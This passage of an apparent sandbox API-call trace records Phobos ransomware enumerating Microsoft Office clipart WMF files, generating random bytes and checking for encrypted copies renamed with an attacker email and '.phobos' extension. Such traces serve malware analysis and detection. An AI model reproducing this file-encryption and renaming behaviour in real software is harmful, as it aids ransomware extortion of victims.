dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.255] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=10816) returned 1 [0125.256] CloseHandle (hObject=0x594) returned 1 [0125.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x220 [0125.256] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.256] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.257] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=7878) returned 1 [0125.257] CloseHandle (hObject=0x594) returned 1 [0125.257] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf")) returned 0x220 [0125.258] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.258] SetEvent (hEvent=0x528) returned 1 [0125.258] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.258] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.260] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=16396) returned 1 [0125.261] CloseHandle (hObject=0x594) returned 1 [0125.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf")) returned 0x220 [0125.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.261] SetEvent (hEvent=0x528) returned 1 [0125.261] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.261] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.263] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=4796) returned 1 [0125.263] CloseHandle (hObject=0x594) returned 1 [0125.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf")) returned 0x220 [0125.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.268] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00428_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00428_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.270] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.270] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.271] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=17406) returned 1 [0125.271] CloseHandle (hObject=0x594) returned 1 [0125.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf")) returned 0x220 [0125.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.272] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00459_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00459_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.395] SetEvent (hEvent=0x528) returned 1 [0125.396] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.396] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.471] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=752) returned 1 [0125.471] CloseHandle (hObject=0x594) returned 1 [0125.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf")) returned 0x220 [0125.471] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00586_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00586_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.471] SetEvent (hEvent=0x528) returned 1 [0125.471] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.471] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x594 [0125.493] GetFileSizeEx (in: hFile=0x594, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=11152) returned 1 [0125.493] CloseHandle (hObject=0x594) returned 1 [0125.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf")) returned 0x220 [0125.493] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00775_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00775_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.494] SetEvent (hEvent=0x528) returned 1 [0125.495] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0125.606] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=9010) returned 1 [0125.606] CloseHandle (hObject=0x250) returned 1 [0125.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf")) returned 0x220 [0125.606] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00779_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00779_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.606] SetEvent (hEvent=0x528) returned 1 [0125.607] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0125.607] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=42704) returned 1 [0125.607] CloseHandle (hObject=0x250) returned 1 [0125.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf")) returned 0x220 [0125.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00814_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.608] SetEvent (hEvent=0x528) returned 1 [0125.608] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0125.608] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=15164) returned 1 [0125.608] CloseHandle (hObject=0x250) returned 1 [0125.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf")) returned 0x220 [0125.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.608] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0125.609] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=4634) returned 1 [0125.609] CloseHandle (hObject=0x250) returned 1 [0125.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf")) returned 0x220 [0125.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.609] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0125.609] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2412) returned 1 [0125.609] CloseHandle (hObject=0x250) returned 1 [0125.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf")) returned 0x220 [0125.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.610] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0125.610] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=4984) returned 1 [0125.610] CloseHandle (hObject=0x250) returned 1 [0125.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf")) returned 0x220 [0125.610] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.610] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0125.611] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=3964) returned 1 [0125.611] CloseHandle (hObject=0x250) returned 1 [0125.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf")) returned 0x220 [0125.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.611] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0125.611] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=1160) returned 1 [0125.611] CloseHandle (hObject=0x250) returned 1 [0125.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x220 [0125.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.612] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0125.612] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=2332) returned 1 [0125.612] CloseHandle (hObject=0x250) returned 1 [0125.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf")) returned 0x220 [0125.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0125.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0125.612] CryptGenRandom (in: hProv=0x7868d8, dwLen=0x10, pbBuffer=0x413fce8 | out: pbBuffer=0x413fce8) returned 1 [0125.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250 [0125.613] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x413fc88 | out: lpFileSize=0x413fc88*=10316) returned 1 [0125.613] CloseHandle (hObject=0x250) returned 1 [0125.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft 